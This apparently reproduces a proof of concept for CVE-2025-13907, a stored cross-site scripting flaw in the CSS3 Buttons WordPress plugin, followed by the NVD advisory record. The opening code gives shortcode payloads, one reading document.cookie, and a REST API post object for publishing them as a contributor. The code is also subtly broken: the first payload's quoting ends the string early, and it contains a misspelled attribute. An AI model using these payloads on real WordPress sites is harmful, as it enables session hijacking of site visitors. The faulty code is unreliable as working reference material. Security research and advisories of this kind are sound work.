CVE-2025-13907

// CVE-2025-13907 PoC - CSS3 Buttons Stored XSS // This is for educational and security testing purposes only // Malicious shortcode payload to inject XSS const payload = "[button href='"' onmouseover='alert(document.cookie)' tyle='x:expression(alert(1))']Malicious Button[/button]"; // Or using JavaScript protocol handler const payload2 = "[button href='javascript:alert(String.fromCharCode(88,83,83))']Click Me[/button]"; // Example of how to exploit via WordPress REST API const exploitData = { title: 'XSS Exploit Post', content: payload, status: 'publish', author: contributorUserId }; // The injected script will execute when any user views the page containing the button // This can lead to session hijacking, credential theft, or further attacks

{"cve": {"id": "CVE-2025-13907", "sourceIdentifier": "[email protected]", "published": "2025-12-06T06:15:53.727", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The CSS3 Buttons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'button' shortcode in all versions up to, and including, 0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/css3-buttons/tags/0.1/css3-buttons.php#L59", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/css3-buttons/trunk/css3-buttons.php#L59", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c1f71ffb-f09c-40f6-b65e-af30ce155466?source=cve", "source": "[email protected]"}]}}